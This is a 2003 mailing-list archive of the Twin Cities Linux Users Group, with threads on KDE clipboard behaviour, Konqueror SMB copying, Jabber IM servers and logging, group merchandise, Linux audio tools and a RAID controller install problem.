From jpschewe at mtu.net Fri Aug 1 06:56:09 2003 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 12:40:00 2005 Subject: [TCLUG] KDE capturing ctrl-v? In-Reply-To: <16169.27568.423423.369408@gargle.gargle.HOWL> References: <16168.10661.117600.640739@workstation.mn.mtu.net> <16169.27568.423423.369408@gargle.gargle.HOWL> Message-ID: <16170.21849.790805.14825@workstation.mn.mtu.net> But klipper isn't running, at least it's not in my tray. >>>>> "r" == rpgoldman writes: r> Look at klipper->configure preferences->actions r> r r> _______________________________________________ r> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota r> http://www.mn-linux.org tclug-list@mn-linux.org r> https://mailman.real-time.com/mailman/listinfo/tclug-list -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 1 07:48:45 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:00 2005 Subject: [TCLUG] TCLUG merchandise? In-Reply-To: <20030731181113.C15904@thinkunix.net> Message-ID: On Thu, 31 Jul 2003, Scot Jenkins wrote: > Bob Tanner stepped up early on and offered to host the mailing list and > the website on his servers. I believe Bob (or someone else at Real > Time) registered the domain mn-linux.org. I believe the intent was to > link other Minnesota Linux user's groups under that domain, since when > TCLUG originated there were already other groups in Minnesota. Bob - > correct me if I'm wrong. We should all thank Bob and the folks at > Real Time for keeping the mailing list and website up and running all > these years. Thanks Bob! Yep, this is what I told Rick when he emailed me off-list. I can't say for certain, but that's the story I've heard. Thanks Bob, Nate, and Carl! (And anyone else besides B-N-C who've done behind-the-scenes work.) > AFAIK, Jima is the one who registered tclug.org and just pointed it to > mn-linux.org to keep things simple for new folks. Jima - also pipe in > if I'm offbase. Nope, you're dead-on. Also so I could have this nifty hostname. (Kidding -- that came later.) > Personally I'm all for the idea of tclug merchandise. I could use some > new T-shirts :) I'd recommend using the http://www.tclug.org/ URL since > the groups name is TCLUG and it's user-friendly. I like the idea, as well. I'd use tclug.org, but then, I'm probably pushing some evil agenda. ;) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Fri Aug 1 07:59:00 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:00 2005 Subject: [TCLUG] TCLUG merchandise? In-Reply-To: References: Message-ID: <3F2A6414.8080203@druswanderings.net> Jima wrote: > > I like the idea, as well. I'd use tclug.org, but then, I'm probably > pushing some evil agenda. ;) > Of course you all realize I had about half of the merchandise already designed when this came up. That's ok tho. I'll just have to charge more to recoup my time. ;-) -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Fri Aug 1 11:35:07 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] KDE-3.1.3 konq can't copy between 2 smb://? Message-ID: <200308011135.07909@Twin.Cities.Linux.Users.Group-www.mn-linux.org> I think I've found some unexpected behavior in kde-3.1.3's konq. I have 2 samba servers, which I can easily access with konq like this: smb://machine1/share1 smb::/machine2/share2 Browsing smb://machine1/share1, selecting a file and hitting F7 (copy file) and browsing over to smb::/machine2/share2 konq and clicking Ok (to copy the file) konq does nothing. The Ok button is active, but it won't copy the file between 2 smb shares. Now, if I copy the file from smb://machine1/share1 to /var/tmp then from /var/tmp to smb::/machine2/share2 it all works fine. So, it is not possible to copy between to smb shares with konq? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Fri Aug 1 11:38:50 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] Re: KDE-3.1.3 konq can't copy between 2 smb://? In-Reply-To: <200308011135.07909@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <200308011135.07909@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <200308011138.50857@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Friday 01 August 2003 11:35 am, Bob Tanner wrote: > I think I've found some unexpected behavior in kde-3.1.3's konq. > > I have 2 samba servers, which I can easily access with konq like this: > > smb://machine1/share1 > smb::/machine2/share2 > > Browsing smb://machine1/share1, selecting a file and hitting F7 (copy file) > and browsing over to smb::/machine2/share2 konq and clicking Ok (to copy > the file) konq does nothing. > > The Ok button is active, but it won't copy the file between 2 smb shares. > > Now, if I copy the file from smb://machine1/share1 to /var/tmp then from > /var/tmp to smb::/machine2/share2 it all works fine. > > So, it is not possible to copy between to smb shares with konq? Forgot to mention, I can copy the files between the 2 shares when I have them smbmounted on my box. So, I sure the perms are right. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Fri Aug 1 11:52:56 2003 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] KDE-3.1.3 konq can't copy between 2 smb://? In-Reply-To: <200308011135.07909@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: On Fri, 1 Aug 2003, Bob Tanner wrote: > So, it is not possible to copy between to smb shares with konq? Submit a bug report? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 1 12:38:39 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging Message-ID: <0399641989D32043BED5793CCC8F5CD54D3665@BPEXU1VM2.andersencorp.com> Does anyone know of any IM software that can run as a server on a Linux box but has windows client software? Couldn't find any in my search, maybe any that can run like the ICQ web client? Dan Lansing -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030801/9c2e8786/attachment.html From jima at beer.tclug.org Fri Aug 1 12:43:35 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3665@BPEXU1VM2.andersencorp.com> Message-ID: On Fri, 1 Aug 2003, Lansing, Dan wrote: > Does anyone know of any IM software that can run as a server on a Linux > box but has windows client software? Jabber? http://www.jabber.org/ As far as daemons that emulate one of the other protocols...no idea. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Fri Aug 1 12:50:18 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3665@BPEXU1VM2.andersencorp.com> Message-ID: Look for something called Jabber On Fri, 1 Aug 2003, Lansing, Dan wrote: > Does anyone know of any IM software that can run as a server on a Linux box but has windows client software? > Couldn't find any in my search, maybe any that can run like the ICQ web client? > > Dan Lansing > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Fri Aug 1 13:09:16 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D42077FE26D@mail.temgweb.com> Jabber! http://www.jabber.org. I just set it up a few days ago, and I'm using Exodus for a windows client. It will probably require some tweaking in the jabber.xml file to get it going, but if you follow the instructions you shouldn't have too much trouble. Unfortunately, it's missing one feature I need. Because of certain government laws, I will soon be required to log *all* conversations and keep them for a period of 7 years. Currently, there is no way in the server to do this. It would be trivial to write a plugin for it, but the people on the jabber mailing list seem to be vehemently opposed to it. I see where they are coming from, but if they want this to be adopted by the corporate world, it needs to be there. There is another jabber server called wxJabber (I think). It actually looked quite good, but I didn't try it out. Jabber also has AIM, ICQ, MSN, and Yahoo gateways. Jay > -----Original Message----- > From: Adam Maloney [mailto:adamm@sihope.com] > Sent: Friday, August 01, 2003 12:50 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] instant messenging > > > Look for something called Jabber > > On Fri, 1 Aug 2003, Lansing, Dan wrote: > > > Does anyone know of any IM software that can run as a > server on a Linux box but has windows client software? > > Couldn't find any in my search, maybe any that can run like > the ICQ web client? > > > > Dan Lansing > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Fri Aug 1 13:16:46 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D42077FE26D@mail.temgweb.com> Message-ID: I never looked at the code, but surely it wouldn't be too awful to spit the output into a file before pushing it to the client? The joys of open source :) Or you could get creative with tcpdump ;) On Fri, 1 Aug 2003, Austad, Jay wrote: > Jabber! http://www.jabber.org. I just set it up a few days ago, and I'm > using Exodus for a windows client. > > It will probably require some tweaking in the jabber.xml file to get it > going, but if you follow the instructions you shouldn't have too much > trouble. > > Unfortunately, it's missing one feature I need. Because of certain > government laws, I will soon be required to log *all* conversations and keep > them for a period of 7 years. Currently, there is no way in the server to > do this. It would be trivial to write a plugin for it, but the people on > the jabber mailing list seem to be vehemently opposed to it. I see where > they are coming from, but if they want this to be adopted by the corporate > world, it needs to be there. > > There is another jabber server called wxJabber (I think). It actually > looked quite good, but I didn't try it out. > > Jabber also has AIM, ICQ, MSN, and Yahoo gateways. > > Jay > > > -----Original Message----- > > From: Adam Maloney [mailto:adamm@sihope.com] > > Sent: Friday, August 01, 2003 12:50 PM > > To: tclug-list@mn-linux.org > > Subject: Re: [TCLUG] instant messenging > > > > > > Look for something called Jabber > > > > On Fri, 1 Aug 2003, Lansing, Dan wrote: > > > > > Does anyone know of any IM software that can run as a > > server on a Linux box but has windows client software? > > > Couldn't find any in my search, maybe any that can run like > > the ICQ web client? > > > > > > Dan Lansing > > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 1 13:26:43 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging In-Reply-To: Message-ID: On Fri, 1 Aug 2003, Adam Maloney wrote: > Or you could get creative with tcpdump ;) I can't imagine that'd be too useful if you're using SSL (for which Jabber has support). :P Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Fri Aug 1 13:33:26 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging In-Reply-To: Message-ID: "All IM conversations logged in ENCRYPTED format for security reasons" :) On Fri, 1 Aug 2003, Jima wrote: > On Fri, 1 Aug 2003, Adam Maloney wrote: > > Or you could get creative with tcpdump ;) > > I can't imagine that'd be too useful if you're using SSL (for which > Jabber has support). :P > > Jima > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 1 13:38:57 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging Message-ID: <0399641989D32043BED5793CCC8F5CD54D3666@BPEXU1VM2.andersencorp.com> Thank you all for the rapid response....jabber is exactly what I was looking for.....i had heard of it but thought that it was only a client for a yahoo/ICQ/aim type I'm network Dan Lansing -----Original Message----- From: Austad, Jay [mailto:JAustad@temgweb.com] Sent: Friday, August 01, 2003 1:09 PM To: 'tclug-list@mn-linux.org' Subject: RE: [TCLUG] instant messenging Jabber! http://www.jabber.org. I just set it up a few days ago, and I'm using Exodus for a windows client. It will probably require some tweaking in the jabber.xml file to get it going, but if you follow the instructions you shouldn't have too much trouble. Unfortunately, it's missing one feature I need. Because of certain government laws, I will soon be required to log *all* conversations and keep them for a period of 7 years. Currently, there is no way in the server to do this. It would be trivial to write a plugin for it, but the people on the jabber mailing list seem to be vehemently opposed to it. I see where they are coming from, but if they want this to be adopted by the corporate world, it needs to be there. There is another jabber server called wxJabber (I think). It actually looked quite good, but I didn't try it out. Jabber also has AIM, ICQ, MSN, and Yahoo gateways. Jay > -----Original Message----- > From: Adam Maloney [mailto:adamm@sihope.com] > Sent: Friday, August 01, 2003 12:50 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] instant messenging > > > Look for something called Jabber > > On Fri, 1 Aug 2003, Lansing, Dan wrote: > > > Does anyone know of any IM software that can run as a > server on a Linux box but has windows client software? > > Couldn't find any in my search, maybe any that can run like > the ICQ web client? > > > > Dan Lansing > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From duncan at sodatrain.com Fri Aug 1 13:48:47 2003 From: duncan at sodatrain.com (Duncan Shannon) Date: Mon Jan 17 12:40:01 2005 Subject: [TCLUG] instant messenging In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D42077FE26D@mail.temgweb.com> Message-ID: > > Jabber! http://www.jabber.org. I just set it up a few days ago, and > I'm > using Exodus for a windows client. > A great solution! Jabber rocks. > > Unfortunately, it's missing one feature I need. Because of certain > government laws, I will soon be required to log *all* conversations > and keep > them for a period of 7 years. Currently, there is no way in the > server to > do this. It would be trivial to write a plugin for it, but the people > on > http://www.businessim.com hosted (or host your own) commercial jabber server. there are options to log *all* conversations, SEC complaint type stuff. if you are interested, email info@businessim.com thanks _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 1 13:55:19 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] instant messenging In-Reply-To: Message-ID: On Fri, 1 Aug 2003, Adam Maloney wrote: > "All IM conversations logged in ENCRYPTED format for security reasons" :) LLOL! Okay, that's good enough for me. :) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jasonandmissy at cableone.net Fri Aug 1 13:57:34 2003 From: jasonandmissy at cableone.net (jasonandmissy@cableone.net) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] instant messenging Message-ID: <3fa701c3585e$c4d3f0a0$2c00740a@cableone.net> I also needed the logging feature so I used bandersnatch to archive messages. http://www.jabberstudio.org/projects/bandersnatch/project/view.php -----Original Message----- From: "tclug-list-admin@mn-linux.org" on behalf of "Austad, Jay" Sent: Fri, 1 Aug 2003 13:09:16 -0500 To: "'tclug-list@mn-linux.org'" Subject: RE: [TCLUG] instant messenging Jabber! http://www.jabber.org. I just set it up a few days ago, and I'm using Exodus for a windows client. It will probably require some tweaking in the jabber.xml file to get it going, but if you follow the instructions you shouldn't have too much trouble. Unfortunately, it's missing one feature I need. Because of certain government laws, I will soon be required to log *all* conversations and keep them for a period of 7 years. Currently, there is no way in the server to do this. It would be trivial to write a plugin for it, but the people on the jabber mailing list seem to be vehemently opposed to it. I see where they are coming from, but if they want this to be adopted by the corporate world, it needs to be there. There is another jabber server called wxJabber (I think). It actually looked quite good, but I didn't try it out. Jabber also has AIM, ICQ, MSN, and Yahoo gateways. Jay > -----Original Message----- > From: Adam Maloney [mailto:adamm@sihope.com] > Sent: Friday, August 01, 2003 12:50 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] instant messenging > > > Look for something called Jabber > > On Fri, 1 Aug 2003, Lansing, Dan wrote: > > > Does anyone know of any IM software that can run as a > server on a Linux box but has windows client software? > > Couldn't find any in my search, maybe any that can run like > the ICQ web client? > > > > Dan Lansing > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dd-b at dd-b.net Fri Aug 1 15:26:35 2003 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] If you use Qwest.net for DSL you should probably read this In-Reply-To: <20030730172627.GA12782@mail.el-swifto.com> References: <0307301203501A.11628@Dingo> <20030730172627.GA12782@mail.el-swifto.com> Message-ID: "John J. Trammell" writes: > On Wed, Jul 30, 2003 at 12:03:50PM -0500, Mike Nielsen wrote: > > Hey there, I'm not sure if this has been addressed in the list or not but > > figured a reminder couldn't hurt > > > > According to the below link > > > > http://www.qwest.net/nav4/help/your_acct/authentication_changes.html > > > > After the 31st of July if you havn't modified your DSL you won't be able > > to connect up. > > > > Enjoy. > > > > This only affects qwest.net users. Subject line fixed. And it presumably would have affected me, if I hadn't noticed the message here *yesterday* (this is what's called "way too close"). (I'm a "soho" type customer, hence still with qwest.net). So thanks to (I believe) Mike Nelson for posting it here! -- David Dyer-Bennet, , RKBA: Photos: Snapshots: Dragaera mailing lists: _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From pcdoc at snapreporter.com Fri Aug 1 16:53:32 2003 From: pcdoc at snapreporter.com (Joe Wozniak) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] instant messenging In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D42077FE26D@mail.temgweb.com> Message-ID: On Fri, 1 Aug 2003, Austad, Jay wrote: > Jabber! http://www.jabber.org. I just set it up a few days ago, and I'm > using Exodus for a windows client. > > Jabber also has AIM, ICQ, MSN, and Yahoo gateways. > I've setup a jabber server for our internal users here. I had some trouble initially, but ended up using the rpm's to install on RH 7.2, then it worked great with one excpetion, the AIM, ICQ, MSN and Yahoo gateways. In particular the MSN one since some of our users want to hop on MSN as well. If anyone has any experience setting up a jabber server with working transports for MSN, let me know if you have any insite. Right now if you try signing in through the jabber client using the MSN transport, it just says "Remote Server Error" and pukes out. The jabber logs don't seem to be much help either. We're using TipicIM and JAJC for clients. Tipic is nice in that you can customize the entire thing by editing the source js, html, xml, jpg, and gif files. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From duncan at sodatrain.com Fri Aug 1 17:07:01 2003 From: duncan at sodatrain.com (Duncan Shannon) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] instant messenging In-Reply-To: Message-ID: <7A2F2E2A-C46C-11D7-857A-000A95686AEC@sodatrain.com> > I've setup a jabber server for our internal users here. I had some > trouble initially, but ended up using the rpm's to install on RH 7.2, > then > it worked great with one excpetion, the AIM, ICQ, MSN and Yahoo > gateways. > In particular the MSN one since some of our users want to hop on MSN as > well. > The transports are tricky. AOL, MSN and others can identify servers that are using the transports (high usage from one IP i think) and they can block it and/or change the protocol so that the transport no longer works. So, as long as there are not too many users using it, you can prob get away with it for a while. Jabber Inc (jabber.com) has a relationship with MSN and they have a commercial transport that works well. We at BusinessIM have decided to not support any of the transports (other than MSN) due to the changes/blocking that happen duncan _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Fri Aug 1 17:42:51 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:02 2005 Subject: ThreadJack: Logging IM stuff was Re: [TCLUG] instant messenging In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D42077FE26D@mail.temgweb.com> References: <288FAF5565A1A74EA5E35C39E7EE1D42077FE26D@mail.temgweb.com> Message-ID: <200308011742.51758@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Friday 01 August 2003 01:09 pm, Austad, Jay wrote: > Unfortunately, it's missing one feature I need. Because of certain > government laws, I will soon be required to log *all* conversations and > keep them for a period of 7 years. Currently, there is no way in the > server to do this. It would be trivial to write a plugin for it, but the > people on the jabber mailing list seem to be vehemently opposed to it. I > see where they are coming from, but if they want this to be adopted by the > corporate world, it needs to be there. Get a packeteer (snort?) and log all this crap at that level? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Fri Aug 1 17:54:36 2003 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] Audio recording and mizing Message-ID: Hey, Any of you do any audio recodring and/or mixing under Linux? if so, any experiences or suggestions you'd like to share? -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Fri Aug 1 17:57:31 2003 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] Audio recording and mizing In-Reply-To: References: Message-ID: Er, miXing, obviously. Duh. On Fri, 1 Aug 2003, Yaron wrote: > Hey, > > Any of you do any audio recodring and/or mixing under Linux? if so, any > experiences or suggestions you'd like to share? > > > -Yaron > > -- > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Fri Aug 1 19:04:20 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] Audio recording and mizing In-Reply-To: References: Message-ID: <20030802000420.GN21442@autonomous.tv> On Fri, Aug 01, 2003 at 05:57:31PM -0500, Yaron wrote: >Er, miXing, obviously. Duh. > >On Fri, 1 Aug 2003, Yaron wrote: > >> Hey, >> >> Any of you do any audio recodring and/or mixing under Linux? if so, any >> experiences or suggestions you'd like to share? I have used audacity[1] a little bit. It seems fairly limited compared to some of the m$ products available. It is certainly worth checking out depending on what you want to do. I remember reading _something_ _somewere_ about a person that recently switched to linux because of some 'killer' audio apps. [1] http://audacity.sf.net/ -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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The site is still a little rough around the > edges but should be fully functional thanks to CafePress. > > Here's the url: > > http://www.cafeshops.com/tclug > > I'm open to new designs as well if anybody has any good ideas. Gotta love the TC Thongs. Hah! Suggestions: 1. The tux with just www.tclug.org below it (for left-pocket location on t-shirt) 2. Other shirt colors? For instance, black with the tux colors reversed? 3. Long-sleeve t-shirts 4. Polo shirts with embroidered logo Nice job. -- Amy Tanner amy@real-time.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 481 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030802/9fa9371e/attachment.pgp From rsinland at gvtel.com Sat Aug 2 07:17:06 2003 From: rsinland at gvtel.com (Robert Sinland) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCLUG Store is now active! References: <3F2ADB36.2070800@druswanderings.net> <20030802071112.I23377@real-time.com> Message-ID: <3F2BABC2.16A8B983@gvtel.com> > 1. The tux with just www.tclug.org below it (for left-pocket location on t-shirt) Does this shirt have a pocket? Doesn't look like it on the photo Nice job on the beer stiens, I was wondering if that would be in the mix :) RS _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From gje at parrotheaven.com Sat Aug 2 11:11:56 2003 From: gje at parrotheaven.com (Greg Evans) Date: Mon Jan 17 12:40:02 2005 Subject: [TCLUG] Trouble installing RH9 on a server with an Adaptec 2100S Message-ID: <000001c35910$cbd7eb60$6401a8c0@freedom> We are trying to get RH9 installed on an older Intel server (440 chipset). The boot disk is on an Adaptec 2100S. During the initial kernel load the system freezes during the load of dpt_i2o. Any Ideas? Do I need to make my own boot disk or perhaps some parameters need to be passed to the kernel during boot? Thanks! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030802/9a5b4c39/attachment.htm From hick0088 at tc.umn.edu Sat Aug 2 16:13:08 2003 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] TCLUG merchandise? In-Reply-To: <20030731181113.C15904@thinkunix.net> References: <1059623023.5e929280kcbnac@myrealbox.com> <3F28B696.90103@therub.org> <3F290F48.5020806@druswanderings.net> <3F29643F.1000407@eworld3.net> <20030731181113.C15904@thinkunix.net> Message-ID: <1059858788.17462.5729.camel@3po> On Thu, 2003-07-31 at 18:11, Scot Jenkins wrote: > Bob Tanner stepped up early on and offered to host the mailing list and > the website on his servers. I believe Bob (or someone else at Real > Time) registered the domain mn-linux.org. I believe the intent was to > link other Minnesota Linux user's groups under that domain, since when > TCLUG originated there were already other groups in Minnesota. Also, I think that tclug.org (or at least some other tclug.com/net/blah) was already registered to some other entity at the time, but my memory might be playing tricks on me. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ You have saved our lives, / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ we are eternally grateful! \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Pardon my Freedom _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Sun Aug 3 10:45:48 2003 From: nate at refried.org 